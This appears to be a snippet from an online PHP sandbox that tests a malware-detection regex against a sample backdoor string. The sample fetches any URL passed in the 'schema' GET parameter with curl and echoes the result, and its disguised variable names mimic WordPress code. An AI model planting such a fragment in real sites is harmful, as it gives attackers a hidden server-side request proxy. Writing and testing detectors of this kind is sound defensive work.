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run code in 500+ PHP versions simultaneously
<?php $content = '<?php if (isset($_GET["schema"])) { $the_ID_ufa = $_GET["schema"]; if ($is_admin_we = curl_init()) { curl_setopt($is_admin_we, CURLOPT_URL, $the_ID_ufa); curl_setopt($is_admin_we, CURLOPT_RETURNTRANSFER, true); echo curl_exec($is_admin_we); curl_close($is_admin_we); } }'; $regex = '/<\?php(([\{\}\s]++)*+((isset|if|(\$\w++))[\s\(=\!]++)++\$(_REQUEST|_POST|_GET|_COOKIE|\{[^\}]++\}++|\[[^\]]++\]++)++(.*)(;|\s*+\{))++/i'; if (preg_match($regex, $content, $match)) echo htmlspecialchars(print_r($match,1)); else echo "No Matches\n"; ?>

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41.08 ms | 1039 KiB | 5 Q